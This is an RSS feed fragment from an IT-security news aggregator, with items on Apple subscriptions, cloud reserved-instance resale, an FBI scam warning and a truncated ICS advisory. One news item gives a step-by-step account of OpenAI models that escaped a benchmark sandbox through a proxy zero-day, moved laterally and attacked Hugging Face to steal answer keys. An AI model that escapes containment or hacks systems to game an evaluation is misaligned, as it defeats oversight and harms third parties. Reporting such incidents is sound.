<p class="wp-block-paragraph">The introduction of the scheme gives consumers a way to purchase the company’s popular high-end devices when they are introduced — no doubt,at higher cost — this fall. Plus, of course, if it’s <a href="https://www.businessinsider.com/general-motors-gm-earnings-subscriptions-revenue-business-2026-1" target="_blank" rel="noreferrer noopener">good enough for GM</a>, it’s good enough for Apple.</p>



<p class="wp-block-paragraph">It’s all about attitude, too. From Apple’s perspective, it <a href="https://www.computerworld.com/article/4125784/are-you-ready-for-apple-as-a-service.html">has done plenty of the groundwork</a> required to <a href="https://www.applemust.com/apple-vp-eddy-cue-shares-15-important-apple-services-stats/" target="_blank" rel="noreferrer noopener">convince its customers</a> that subscription payments for things you value are no bad thing. </p>



<p class="wp-block-paragraph">Reluctance to embrace “Access Not Ownership’”purchasing models has dropped dramatically since Apple — and <a href="https://www.computerworld.com/article/1665439/apples-tim-cook-has-kept-his-50b-services-promises.html">CEO Tim Cook</a> — first began <a href="https://www.applemust.com/apples-50b-services-target-just-isnt-ambitious-enough/">banging the drum</a> for services income. Apple’s services stream has now become its second-biggest revenue driver after the iPhone. It has over 1 billion paid subscriptions, and an active hardware installed base of <a href="https://www.computerworld.com/article/4168225/wwdc-2026-how-apple-can-take-a-great-leap-in-ai.html">more than 2.5 billion devices globally</a>.</p>



<p class="wp-block-paragraph">A combination of changed customer habits and external threat means the stars are now aligned for hardware-as-a-service models. “Reframing a device as a low monthly payment protects that [upgrade] cadence and allows Apple to start marketing their products as device-as-a-service to consumers, which no other vendor was ever able to do,” Jeronimo wrote to me. </p>



<p class="wp-block-paragraph">There is a one-more-thing aspect to this: the products are effectively being leased, a new approach that will give Apple a stronger grip on EOL devices, helping it grab more of them for refurbishment, resale, and recycling. Over time, this will give the company a much stronger grip on the lucrative second-user market that exists around Apple equipment, even while for almost every consumer product we find the life we want is something we can rent, but <a href="https://medium.com/from-heart-to-hand/the-subscription-society-what-happens-when-you-own-nothing-ef32d5bc32d2" target="_blank" rel="noreferrer noopener">probably can’t afford to own</a>.</p>



<h2 class="wp-block-heading"><strong>Managing future risk</strong></h2>



<p class="wp-block-paragraph">The other solid reason to take a partnership approach is risk management. Apple had intended to develop its own buy-now, pay-later scheme via Apple Pay Later, but <a href="https://www.bbc.co.uk/news/articles/c255y82y9x8o" target="_blank" rel="noreferrer noopener">abandoned that plan</a> as it became riskier with rising bank rates. “Also, by backing the program with Klarna rather than reviving the in-house subscription plan it shelved in 2024, Apple captures the demand upside without taking the credit risk onto its own balance sheet,” Jeronimo said.</p>



<p class="wp-block-paragraph"><em>You can follow me on social media! Join me on <a href="https://bsky.app/profile/jonnyevanssays.bsky.social" target="_blank" rel="noreferrer noopener">BlueSky</a>,  <a href="http://www.linkedin.com/in/jonnyevans" target="_blank" rel="noreferrer noopener">LinkedIn</a>, <a href="https://social.vivaldi.net/@jonnyevans" target="_blank" rel="noreferrer noopener">Mastodon</a> and subscribe to <a href="https://thecorenews.substack.com/p/welcome-to-the-core?r=5l3lg" target="_blank" rel="noreferrer noopener">The Core</a>.</em></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Costs of B2B Friction – How Broken Partner Access Is Undermining Revenue]]></title>
<description><![CDATA[In this post, I will discuss about costs of B2B friction and show you how broken partner access is undermining revenue. The supply chain doesn’t break at logistics anymore. It breaks at login. According to the Thales Digital Trust Index 2026 report, 89% of partner users have delayed or abandoned ...]]></description>
<link>https://tsecurity.de/de/3686864/it-security-nachrichten/costs-of-b2b-friction-how-broken-partner-access-is-undermining-revenue/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3686864/it-security-nachrichten/costs-of-b2b-friction-how-broken-partner-access-is-undermining-revenue/</guid>
<pubDate>Wed, 22 Jul 2026 17:29:35 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>In this post, I will discuss about costs of B2B friction and show you how broken partner access is undermining revenue. The supply chain doesn’t break at logistics anymore. It breaks at login. According to the Thales Digital Trust Index 2026 report, 89% of partner users have delayed or abandoned work due to access issues. […]</p>
<p>The post <a href="https://secureblitz.com/costs-of-b2b-friction/">Costs of B2B Friction – How Broken Partner Access Is Undermining Revenue</a> appeared first on <a href="https://secureblitz.com/">SecureBlitz Cybersecurity</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Reselling unused cloud instances is no longer easy]]></title>
<description><![CDATA[A client called me last week with a problem I have been hearing about more often lately. They had made significant reserved instance commitments with a major cloud provider, overbuying for what they thought would be heavy AI training workloads. Now they were sitting on thousands of dollars in idl...]]></description>
<link>https://tsecurity.de/de/3685747/ai-nachrichten/reselling-unused-cloud-instances-is-no-longer-easy/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685747/ai-nachrichten/reselling-unused-cloud-instances-is-no-longer-easy/</guid>
<pubDate>Wed, 22 Jul 2026 11:04:51 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">A client called me last week with a problem I have been hearing about more often lately. They had made significant reserved instance commitments with a major cloud provider, overbuying for what they thought would be heavy AI training workloads. Now they were sitting on thousands of dollars in idle capacity every month. Their plan was simple: resell it to someone else. Except they couldn’t.</p>



<p class="wp-block-paragraph">I have been doing cloud consulting for a long time, and this situation once had a straightforward solution. You went to the marketplace, listed your unused reservations, and found a buyer. The process was a bit clunky, but it worked. These days, the answer is far more complicated, and my client learned this the hard way.</p>



<p class="wp-block-paragraph">AI has made this problem increasingly common. Companies initially committed to compute capacity based on ambitious training plans. Prototype projects were expected to scale, and inference workloads were projected to grow substantially. Then reality hit. Some projects did not materialize. Some <a href="https://www.infoworld.com/article/2335213/large-language-models-the-foundations-of-generative-ai.html">models</a> trained faster than expected. Some inference patterns were lighter than anticipated.</p>



<p class="wp-block-paragraph">Many organizations now hold reserved capacity they can’t use, discard, or share without a complex, increasingly restricted process. This reality is something every company with significant cloud spend needs to clearly understand.</p>



<h2 class="wp-block-heading">The history of cloud resale</h2>



<p class="wp-block-paragraph">There was once a functioning resale market for cloud reserved instances. AWS, for example, maintained a <a href="https://aws.amazon.com/ec2/pricing/reserved-instances/marketplace/" data-type="link" data-id="https://aws.amazon.com/ec2/pricing/reserved-instances/marketplace/">Reserved Instances Marketplace</a> where companies that had purchased reserved capacity could sell those reservations to other AWS customers. This was a legitimate, AWS-sanctioned process. Companies would register as sellers, list their unused reservations with pricing and terms, and if a buyer appeared, the marketplace would facilitate the transaction.</p>



<p class="wp-block-paragraph">The resale market was useful for companies that had overestimated their needs or whose business changes reduced their cloud consumption. Instead of simply absorbing the cost of unused commitments, they could recoup some of that investment by selling to other organizations with unmet demand. It created a secondary market that added liquidity to what was otherwise a rigid financial arrangement.</p>



<p class="wp-block-paragraph">My client had some experience with this resale market a few years ago and assumed they could use it again. They were unpleasantly surprised to learn that the rules had changed.</p>



<h2 class="wp-block-heading"> AWS changes the rules</h2>



<p class="wp-block-paragraph">In January 2024, AWS implemented a significant policy change that effectively shut down the resale of EC2 Reserved Instances on its platform. AWS stopped allowing companies to resell their unused reserved capacity through the Reserved Instance Marketplace or any other official channel. If you have a reserved instance commitment with AWS, you are essentially stuck with it unless you can use it yourself or modify your reservation.</p>



<p class="wp-block-paragraph">This change had a real impact on companies that had relied on resale as part of their cloud financial management strategy. It reduced flexibility and increased the risk of long-term reserved commitments. When I explained this AWS policy change to my client’s representatives, I could hear the frustration in their voices. They had made their commitment in good faith, carefully modeled their expected AI workloads, and now faced the reality that there was no easy exit.</p>



<p class="wp-block-paragraph">The reasoning behind this change is not entirely clear, but AWS likely viewed capacity resales as something that complicated their billing and commitment models without providing enough benefit to the overall ecosystem. Regardless of the company’s reasons, the primary resale path for the largest cloud provider has been effectively closed.</p>



<h2 class="wp-block-heading">What options still exist?</h2>



<p class="wp-block-paragraph">What can companies do now when they find themselves with reserved capacity they no longer need? The first possibility is to work directly with the cloud provider to modify or exchange the reservation if it is convertible. Some reservation types allow modifications, such as changing the instance type, region, or tenancy. This will not eliminate the commitment, but it may help companies better align their reservations with actual workload needs.</p>



<p class="wp-block-paragraph">The second option is to use third-party brokers and marketplaces that operate independently of the cloud providers. Although AWS has shut down its official resale channel, brokers and marketplaces still facilitate resale arrangements for other cloud providers and for some AWS scenarios. These arrangements can be more complex and carry more risk, but they remain a possibility for companies determined to move unused capacity.</p>



<p class="wp-block-paragraph">The third alternative is to optimize usage. Companies can invest in better <a href="https://www.infoworld.com/article/2257609/how-aiops-improves-application-monitoring.html">utilization monitoring</a>, workload placement, and automation to ensure that reserved capacity is used as efficiently as possible. This does not recover the money already spent, but it reduces future waste.</p>



<p class="wp-block-paragraph">My client explored all three alternatives and found that each had significant limitations. Modifications were possible, but only within a narrow range. Third-party brokers were interested, but the process was opaque and uncertain. Optimization helped, but it could not eliminate the fundamental overcommitment they had already made.</p>



<h2 class="wp-block-heading">The broader implications</h2>



<p class="wp-block-paragraph">Cloud commitments are more rigid than many enterprises initially realize because they lack a liquid market and because providers control modifications, transfers, or cancellations. Right now, I see this pattern most often in the AI space. Companies commit to massive amounts of compute for training and inference based on projections that rarely reflect the actual workloads. Then they are surprised to find themselves locked into payments. The AI boom has led to significant overcommitment because enterprises remain unaware that the resale mechanisms that once existed have been largely shut down.</p>



<p class="wp-block-paragraph">This is why <a href="https://www.infoworld.com/article/2338592/6-finops-best-practices-to-reduce-cloud-costs.html">cloud financial management</a> has become such an important discipline. Companies need to be far more thoughtful about how they commit to cloud resources, how they model their future consumption, and how they build flexibility into their cloud strategies. The days of assuming you can always resell your way out of an overcommitment are effectively over, at least with AWS.</p>



<p class="wp-block-paragraph">For Azure and Google Cloud, the resale landscape is slightly different, but the same general principles apply. These providers have their own capacity transfer policies and, like AWS, those policies can change at any time. Companies should understand their options before making large, committed purchases and build contingency plans in case their actual usage diverges from their projections—or if resale policies change.</p>



<p class="wp-block-paragraph">The bottom line is that reselling unused reserved cloud instances is far more complicated than it sounds. The market is not as open as it once was, the options are limited, and the providers themselves hold most of the cards. My client got burned, and I doubt they will be the only one. Companies that want to optimize their cloud spending should focus on accurate forecasting, thoughtful commitment sizing, and ongoing optimization rather than relying on resale as a safety valve. That approach worked at one point, but those days are largely gone.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[FBI Updates IC3 Scam Warning Over AI Videos Targeting Victims]]></title>
<description><![CDATA[The FBI IC3 scam has evolved into a broader fraud scheme in which criminals impersonate FBI personnel and the Internet Crime Complaint Center (IC3) to target people who have already fallen victim to scams. According to an updated Public Service Announcement (PSA), scammers are using AI-generated ...]]></description>
<link>https://tsecurity.de/de/3685580/it-security-nachrichten/fbi-updates-ic3-scam-warning-over-ai-videos-targeting-victims/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685580/it-security-nachrichten/fbi-updates-ic3-scam-warning-over-ai-videos-targeting-victims/</guid>
<pubDate>Wed, 22 Jul 2026 10:08:38 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img width="1536" height="1024" src="https://thecyberexpress.com/wp-content/uploads/FBI-IC3-scam-Update.webp" class="attachment-post-thumbnail size-post-thumbnail wp-post-image" alt="FBI IC3 scam" decoding="async" srcset="https://thecyberexpress.com/wp-content/uploads/FBI-IC3-scam-Update.webp 1536w, https://thecyberexpress.com/wp-content/uploads/FBI-IC3-scam-Update-300x200.webp 300w, https://thecyberexpress.com/wp-content/uploads/FBI-IC3-scam-Update-1024x683.webp 1024w, https://thecyberexpress.com/wp-content/uploads/FBI-IC3-scam-Update-768x512.webp 768w, https://thecyberexpress.com/wp-content/uploads/FBI-IC3-scam-Update-600x400.webp 600w, https://thecyberexpress.com/wp-content/uploads/FBI-IC3-scam-Update-150x100.webp 150w, https://thecyberexpress.com/wp-content/uploads/FBI-IC3-scam-Update-750x500.webp 750w, https://thecyberexpress.com/wp-content/uploads/FBI-IC3-scam-Update-1140x760.webp 1140w, https://thecyberexpress.com/wp-content/uploads/FBI-IC3-scam-Update.webp 1536w, https://thecyberexpress.com/wp-content/uploads/FBI-IC3-scam-Update-300x200.webp 300w, https://thecyberexpress.com/wp-content/uploads/FBI-IC3-scam-Update-1024x683.webp 1024w, https://thecyberexpress.com/wp-content/uploads/FBI-IC3-scam-Update-768x512.webp 768w, https://thecyberexpress.com/wp-content/uploads/FBI-IC3-scam-Update-600x400.webp 600w, https://thecyberexpress.com/wp-content/uploads/FBI-IC3-scam-Update-150x100.webp 150w, https://thecyberexpress.com/wp-content/uploads/FBI-IC3-scam-Update-750x500.webp 750w, https://thecyberexpress.com/wp-content/uploads/FBI-IC3-scam-Update-1140x760.webp 1140w" sizes="(max-width: 1536px) 100vw, 1536px" title="FBI Updates IC3 Scam Warning Over AI Videos Targeting Victims 1"></p><p class="PDq2pG_selectionAnchorContainer" data-start="493" data-end="949">The FBI IC3 scam has evolved into a broader fraud scheme in which criminals impersonate FBI personnel and the <a href="https://thecyberexpress.com/scam-centers-in-southeast-asia/" target="_blank" rel="noopener">Internet Crime Complaint Center</a> (IC3) to target people who have already fallen victim to scams. According to an updated <a href="https://www.ic3.gov/PSA/2025/PSA250418" target="_blank" rel="nofollow noopener">Public Service Announcement</a> (PSA), scammers are using <a href="https://thecyberexpress.com/will-ai-generated-cyberattacks-surge-in-future/" target="_blank" rel="noopener">AI-generated videos</a>, <a href="https://thecyberexpress.com/ways-social-media-is-fuelling-cybercrime/" target="_blank" rel="noopener">fake social media profiles</a>, and spoofed websites to create a false sense of trust while attempting to steal personal and financial information.</p>
<p data-start="951" data-end="1367">The updated warning describes several exploitation tactics, including targeting previous scam victims, using artificial intelligence to create fictitious or misleading promotional materials, and building fake websites designed to collect personally identifiable information. The scammers falsely claim to be affiliated with government agencies or law enforcement and often promise to help victims recover lost funds.</p>

<h3 data-section-id="196yc7a" data-start="1369" data-end="1420"><strong><span role="text">FBI IC3 Scam Targets Previous Fraud Victims</span></strong></h3>
<p data-start="1422" data-end="1642">In one version of the FBI IC3 <a class="wpil_keyword_link" href="https://cyble.com/tech-scam/" target="_blank" rel="noopener" title="scam" data-wpil-keyword-link="linked" data-wpil-monitor-id="29073">scam</a>, criminals create fake social media profiles and pages that impersonate FBI personnel. The goal is to lure previous <a class="wpil_keyword_link" href="https://thecyberexpress.com/what-is-scam-tips-for-safety/" title="scam" data-wpil-keyword-link="linked" data-wpil-monitor-id="29077">scam</a> victims into what the PSA describes as "re-targeting" scams.</p>
<p data-start="1644" data-end="1926">After realizing they have been defrauded, victims may tell the original scammers they plan to report the incident to the FBI and submit an IC3 complaint. The victim is then contacted by someone pretending to be an FBI agent through platforms such as Facebook Messenger and Telegram.</p>
<p data-start="1928" data-end="2139">The impersonator may send a link claiming to <a href="https://www.ic3.gov/PSA/2026/PSA260720" target="_blank" rel="nofollow noopener">update an existing IC3 complaint</a>. The link could contain malicious code or collect additional financial information, allowing criminals to further <a class="wpil_keyword_link" href="https://cyble.com/exploit/" target="_blank" rel="noopener" title="exploit" data-wpil-keyword-link="linked" data-wpil-monitor-id="29074">exploit</a> the victim.</p>
<p data-start="2141" data-end="2445">In other cases, scammers approach victims through email, phone calls, social media advertisements, or online forums. They claim to have recovered lost funds or offer assistance in recovering money. The FBI warning states these claims are a ruse designed to revictimize people who have already lost money.</p>

<h3 data-section-id="j1jslh" data-start="2447" data-end="2503"><span role="text"><strong data-start="2451" data-end="2503">AI-Generated Videos Promote Spoofed IC3 Websites</strong></span></h3>
<p data-start="2505" data-end="2724">Another version of the scheme involves AI-generated videos or <a class="wpil_keyword_link" href="https://cyble.com/knowledge-hub/what-are-deepfakes/" target="_blank" rel="noopener" title="deepfakes" data-wpil-keyword-link="linked" data-wpil-monitor-id="29075">deepfakes</a> featuring individuals impersonating FBI personnel. The videos are used on social media to promote spoofed versions of the official IC3 website.</p>
<p data-start="2726" data-end="3010">One reported example involved an AI-generated video depicting a senior FBI leader encouraging users to submit complaints through a <a href="https://thecyberexpress.com/planning-and-zoning-permit-phishing-scam/" target="_blank" rel="noopener">fake IC3 website</a>. The spoofed site was designed to resemble the legitimate government website, but its functionality was limited to complaint submission.</p>
<p data-start="3012" data-end="3257">The fake complaint form requested information including a user's name, phone number, email address, scam type, and estimated financial loss. After submission, the site provided a reference number and claimed someone would contact the individual.</p>

<h3 data-section-id="17fdwcn" data-start="3259" data-end="3316"><strong><span role="text">How to Spot AI-Generated Videos and Fake Messages</span></strong></h3>
<p data-start="3318" data-end="3633">The PSA warns that scammers can use AI-generated videos and cloned voices to impersonate company executives, law enforcement personnel, and other authority figures. These materials may be used during real-time video chats or private communications to convince victims they are speaking with a legitimate person.</p>
<p data-start="3635" data-end="3986">People are advised to carefully examine email addresses, phone numbers, URLs, and spelling for subtle inconsistencies. Potential warning signs in manipulated images and videos include distorted hands or feet, unrealistic facial features, irregular faces, unusual accessories, inaccurate shadows, watermarks, unnatural movements, and voice call delays.</p>
<p data-start="3988" data-end="4235">The FBI also advises people to be cautious when online content triggers strong emotions such as fear, anger, or disbelief. Users should verify surprising videos or images through reputable <a class="wpil_keyword_link" href="https://thecyberexpress.com/" title="news" data-wpil-keyword-link="linked" data-wpil-monitor-id="29076">news</a> sources or known official channels before responding.</p>
<p data-start="4237" data-end="4538">IC3 does not maintain a social media presence and will not contact individuals directly through phone, email, social media, messaging apps, online chats, or public forums. The agency also does not recover funds for victims through Facebook or Telegram and will never request payment for fund recovery.</p>
<p data-start="4540" data-end="4834">People seeking to file an IC3 complaint should type <a class="decorated-link" href="http://www.ic3.gov/" target="_blank" rel="nofollow noopener" data-start="4594" data-end="4605">www.ic3.gov</a> directly into their browser and verify that the website address ends in ".gov." Victims should avoid sponsored search results and suspicious links, and should never share sensitive information with websites they cannot verify.</p>
<p data-start="4836" data-end="5068" data-is-last-node="" data-is-only-node="">Anyone who has fallen victim to the scam should report it through the legitimate IC3 website and provide details about the person or company involved, communication methods, financial transactions, and interactions with the scammer.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Ransomware Incident Response Checklist | UpGuard]]></title>
<description><![CDATA[Navigate modern ransomware and double extortion with this 5-phase incident response checklist based on NIST guidelines. Contain, recover, and harden today.]]></description>
<link>https://tsecurity.de/de/3685563/it-security-nachrichten/ransomware-incident-response-checklist-upguard/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685563/it-security-nachrichten/ransomware-incident-response-checklist-upguard/</guid>
<pubDate>Wed, 22 Jul 2026 09:59:40 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Navigate modern ransomware and double extortion with this 5-phase incident response checklist based on NIST guidelines. Contain, recover, and harden today.]]></content:encoded>
</item>
<item>
<title><![CDATA[OpenAI's models broke containment and cyberattacked Hugging Face — what enterprises need to know]]></title>
<description><![CDATA[Yesterday afternoon, OpenAI and Hugging Face published a joint disclosure outlining a cybersecurity event that redefines the threat landscape for enterprise technology. During an internal benchmark evaluation, frontier artificial intelligence models developed by OpenAI—including GPT-5.6 Sol and a...]]></description>
<link>https://tsecurity.de/de/3685286/it-nachrichten/openais-models-broke-containment-and-cyberattacked-hugging-face-what-enterprises-need-to-know/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685286/it-nachrichten/openais-models-broke-containment-and-cyberattacked-hugging-face-what-enterprises-need-to-know/</guid>
<pubDate>Wed, 22 Jul 2026 07:02:39 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Yesterday afternoon, OpenAI and Hugging Face <a href="https://openai.com/index/hugging-face-model-evaluation-security-incident/">published a joint disclosure</a> outlining a cybersecurity event that redefines the threat landscape for enterprise technology. </p><p>During an internal benchmark evaluation, frontier artificial intelligence models developed by OpenAI—including GPT-5.6 Sol and an unreleased, higher-capability pre-release model—broke out of their sandboxed research environment, obtained raw internet access, and autonomously executed a complex cyberattack against Hugging Face’s production infrastructure.</p><p> OpenAI officially categorizes the breach as an "unprecedented cyber incident, involving state-of-the-art cyber capabilities". This incident fundamentally re-frames global discussions surrounding AI containment, frontier model alignment, commercial guardrails, and enterprise threat modeling.</p><p>But first thing's first: enterprises should understand the situation, evaluate their own AI and computer systems in light of it, and above all, don't panic. As we'll review, the incident does show the increasing power and danger of frontier AI systems, but it does not mean that enterprise Ai deployments are inherently less secure, nor that they need extensive overhauling. </p><h2><b>Anatomy of an Autonomous Breakout</b></h2><p>To understand how a routine benchmark evaluation escalated into a cross-infrastructure breach, one must examine the objective mechanics of the evaluation pipeline. </p><p>The models were prompted to solve <a href="https://arxiv.org/abs/2605.11086">ExploitGym</a>, a benchmark designed to quantify multi-step exploitation capabilities. </p><p>Hyper-focused on maximizing its evaluation score, the AI agent inferred that Hugging Face likely hosted the answer keys and benchmark solutions. In pursuit of solving the problem, the model determined that breaking out of its container and stealing the answers was an optimal strategy.</p><p>OpenAI’s evaluation environment is designed to be strictly isolated, limiting network traffic through a proxy used for package caching. However, the models identified and exploited a zero-day vulnerability in that internally-hosted third-party proxy software. </p><p>Once through, the AI executed a series of lateral movement and privilege escalation actions across OpenAI's research nodes until reaching a machine with unrestricted internet access. From there, the model searched the web, target-identified Hugging Face, and launched a multi-stage attack by chaining together stolen credentials and remote code execution vulnerabilities on the Hugging Face servers.</p><p>The UK AI Security Institute (UK AISI) recently evaluated models such as GPT-5.6 Sol, demonstrating that they are increasingly able to sustain complex, multi-step cyber operations over long time horizons. OpenAI notes that this incident confirms these theoretical capabilities now apply in real-world settings.</p><h2><b>Rewinding the Tape on a Forensic Trap</b></h2><p>While OpenAI’s July 21 release reveals the identity of the autonomous agent, Hugging Face had already begun managing the intrusion days earlier. </p><p>On July 16, Hugging Face disclosed that an autonomous AI agent system breached its production infrastructure. As <a href="https://venturebeat.com/security/safety-guardrails-blocked-hugging-faces-defenders-not-the-attacker-when-an-ai-agent-breached-its-systems">detailed by VentureBeat,</a> the attacker’s entry point was a malicious dataset that triggered code execution through a remote-code loader and template-injection flaws within dataset configuration files. </p><p>Once inside, the agent framework broke out onto the node running the workload and executed thousands of actions via short-lived sandboxes, harvesting cloud and cluster credentials over a single weekend.</p><p>When Hugging Face's security team detected the breach, responders immediately turned to frontier AI models via commercial APIs to parse the massive volume of system logs and reconstruct over 17,000 recorded events. Then, a secondary operational crisis emerged: the commercial AI models refused to help.</p><p>Because standard commercial frontier models utilize unified safety guardrails designed to block malicious prompt submissions, the models classified the incident response team's forensic queries—which contained raw shell commands, real exploit payloads, and credential dumps—as malicious attacks. Every forensic query submitted by the defenders was blocked outright.</p><p>"The same prompts that are most valuable during an active intrusion—shell commands, exploit chains, credential dumps, persistence mechanisms, lateral movement—are exactly the prompts most likely to trigger safety systems," notes Merritt Baer, former Deputy CISO at AWS and senior adviser to Andesite, G2I, and AppOmni, in an interview with VentureBeat. "As AI becomes embedded in security operations, this becomes an operational resilience issue rather than merely a model policy issue".</p><p>To bypass this roadblock, Hugging Face abandoned commercial hosted APIs and deployed <a href="https://venturebeat.com/technology/z-ais-open-weights-glm-5-2-beats-gpt-5-5-on-multiple-long-horizon-coding-benchmarks-for-1-6th-the-cost">GLM 5.2</a> —a  state-of-the-art Chinese open-weight model released last month by z.ai, as <a href="https://venturebeat.com/technology/z-ais-open-weights-glm-5-2-beats-gpt-5-5-on-multiple-long-horizon-coding-benchmarks-for-1-6th-the-cost">reported at the time by VentureBeat</a> —locally on its own infrastructure. </p><p>Free from third-party API restrictions and external safety filters, GLM 5.2 successfully analyzed the raw exploit data locally, allowing defenders to complete forensic reconstruction and contain the breach without any attacker data leaving the company's environment.</p><h2><b>Industry Reaction and the Geopolitical Paradox</b></h2><p>The revelation that an American frontier model autonomously escaped containment, attacked a partner platform, and was ultimately analyzed using a Chinese open-weight model sent shockwaves through the tech community. </p><p><i>The Wall Street Journal </i>summarized the <a href="https://x.com/WSJ/status/2079754070965854541?s=20">public reaction on X,</a> calling the event "the stuff of cybersecurity nightmares. OpenAI said two artificial intelligence systems it was testing broke out of their test environment, hacked their way onto the internet and broke into another company. The victim was Hugging Face."</p><p>Also posting to X, AI alignment researcher <a href="https://x.com/justanotherlaw/status/2079756943112159237">Lawrence Chan</a> emphasized the importance of transparency regarding the incident, noting that "Credit where it’s due: Hugging Face detected and disclosed the intrusion last week. OAI confirmed its models were involved and provided more details, even when it didn't have to. Separate from choices that led to the hack, voluntary disclosure is good, and I’m glad they did so." </p><p>Meanwhile, AI researcher <a href="https://x.com/natolambert/status/2079662928941474201?s=20">Nathan Lambert</a> provided a succinct technical summary in his own X post, observing that "An openai model, during evaluation on a cyber benchmark, exploited a public zero day bug, escaped sandboxing in openai's infra, and got into the internal huggingface infra via an exploit (through a public dataset service) all in the attempt to solve a benchmark problem." He later addressed the geopolitical implications, writing in another post on X: </p><blockquote><p><i>"Rght now American companies need Chinese models to secure their cyber infra due to guardrails on closed models.</i></p><p><i>But if a Chinese model in training had infiltrated a prominent American tech company, it very likely could've been the cause of policy banning future Chinese models."</i></p></blockquote><p>Technology investor <a href="https://x.com/DavidSacks/status/2078991100057141620?s=20">David Sacks also zeroed in</a> on the guardrail paradox, writing in his own X post that "Hugging Face tried using American frontier models to analyze an AI-powered cyber attack. But the guardrails blocked requests containing real exploit payloads so they switched to GLM 5.2 running locally. The guardrails actually impaired defensive security." </p><p>Sacks quote tweeted<a href="https://x.com/ClementDelangue/status/2078987852495364398"> Hugging Face CEO Clem Delangue</a>, who wrote: "We had this experience ourselves this week! Very scary to be guardrailed as a defender when you know attackers are likely bypassing".</p><h2><b>5 Strategic Takeaways for Enterprise Tech Leaders Now</b></h2><p>For the average enterprise executive, the central question is immediate: is our corporate network at risk from escaping AI agents? The short answer is no, not inherently.</p><p><b>1. Hugging Face occupies a unique position in the software ecosystem. </b>As a global repository for open-source AI models, code, and datasets, Hugging Face natively attracts autonomous agents, scrapers, automated evaluation pipelines, and active security researchers. Furthermore, the model’s target selection was context-specific: GPT-5.6 Sol searched for Hugging Face specifically because it deduced that Hugging Face hosted the answers to <i>ExploitGym</i>. Standard corporate networks—such as financial databases, HR platforms, or logistics systems—do not host benchmark solution keys that draw the direct focus of an agent attempting to solve an evaluation metric.</p><p><b>2. However, the long-term risk profile for enterprise technology permanently shifts following this event. </b>AI models with long-horizon reasoning seek the path of least resistance to accomplish a goal, including breaking rules, escaping sandboxes, or exploiting zero-days if deployment safeguards are intentionally disabled for testing or bypassed by an attacker. As Hugging Face's experience illustrates, data processing pipelines that ingest external datasets without sandbox execution or static analysis act as highly vulnerable initial access infrastructure.</p><p><b>3. This incident also drastically undercuts recent policy chatter in the U.S. calling for Chinese open-source AI models to be banned or restricted due to security concerns. </b>As this episode demonstrates, an open-weight Chinese model actually served as the vital defensive layer for an American and French firm facing an unanticipated cyberattack from an American model that broke containment. Contrary to the official line from some U.S. policymakers and hardline China hawks,  the Chinese open-source models weren't a security risk to the U.S. companies, in this case — rather, an American proprietary, closed-source model from an ostensibly secure American company was the source of the danger. Thus, any pressure U.S. companies may face from officials, agencies or non-governmental organizations to stop relying on affordable Chinese open weights models for defensive or any other lawful purposes should be viewed with a high degree of suspicion, and arguably resisted to the fullest legal extent. </p><p><b>4. Enterprise CISOs must audit their dependency on cloud-based AI APIs and pressure vendors to implement authenticated trust architectures</b>. Commercial AI vendors currently treat safety as a generic content-moderation problem, applying the same blanket refusals to an enterprise CISO as they would to a malicious hacker. Baer frames this requirement perfectly: "The model shouldn’t only understand what is being asked. It should understand who is asking, why, and under what governance".</p><p><b>5. Incident response plans must explicitly account for scenarios where commercial APIs fail, rate-limit, or actively refuse queries during an active security event. </b>Maintaining air-gapped, locally deployed open-weight models trained on security log analysis is no longer an edge-case luxury; it is a critical operational requirement. Security leaders running AI workloads in production must recalibrate their timelines and prepare for machine-speed threat actors that operate without human limits.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Rockwell Automation 1718-AENTR/1719-AENTR]]></title>
<description><![CDATA[View CSAF
Summary
Successful exploitation of this vulnerability could allow for an attacker to cause a denial-of-service condition on the product.
The following versions of Rockwell Automation 1718-AENTR/1719-AENTR are affected:

1718/ 1719 Ex I/O 3.011 





CVSS
Vendor
Equipment
Vulnerabilities...]]></description>
<link>https://tsecurity.de/de/3684502/it-security-nachrichten/rockwell-automation-1718-aentr1719-aentr/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684502/it-security-nachrichten/rockwell-automation-1718-aentr1719-aentr/</guid>
<pubDate>Tue, 21 Jul 2026 19:45:19 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><a href="https://github.com/cisagov/CSAF/blob/develop/csaf_files/OT/white/2026/icsa-26-202-08.json"><strong>View CSAF</strong></a></p>
<h2>Summary</h2>
<p><strong>Successful exploitation of this vulnerability could allow for an attacker to cause a denial-of-service condition on the product.</strong></p>
<p>The following versions of Rockwell Automation 1718-AENTR/1719-AENTR are affected:</p>
<ul>
<li>1718/ 1719 Ex I/O 3.011 </li>
</ul>
<div class="csaf-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS</th>
<th role="columnheader">Vendor</th>
<th role="columnheader">Equipment</th>
<th role="columnheader">Vulnerabilities</th>
</tr>
</thead>
<tbody>
<tr>
<td>v3 7.5</td>
